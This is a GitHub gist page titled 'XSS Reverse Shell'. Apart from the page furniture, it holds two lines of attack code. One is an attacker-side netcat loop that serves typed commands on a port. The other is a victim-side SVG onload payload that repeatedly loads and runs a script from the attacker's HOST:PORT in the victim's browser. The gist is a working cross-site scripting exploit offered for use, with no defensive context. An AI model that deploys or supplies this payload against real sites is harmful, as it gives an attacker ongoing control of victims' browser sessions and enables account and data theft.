Skip to content

Instantly share code, notes, and snippets.

@ivanvza
Created February 28, 2017 20:36
Show Gist options
  • Star 16 You must be signed in to star a gist
  • Fork 8 You must be signed in to fork a gist
  • Save ivanvza/08d75112ee41dec3e92d0ff59505c678 to your computer and use it in GitHub Desktop.
Save ivanvza/08d75112ee41dec3e92d0ff59505c678 to your computer and use it in GitHub Desktop.
XSS Reverse Shell
Attacker: while :; do printf "j$ "; read c; echo $c | nc -lp PORT >/dev/null; done
Victim: <svg/onload=setInterval(function(){d=document;z=d.createElement("script");z.src="//HOST:PORT";d.body.appendChild(z)},0)>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment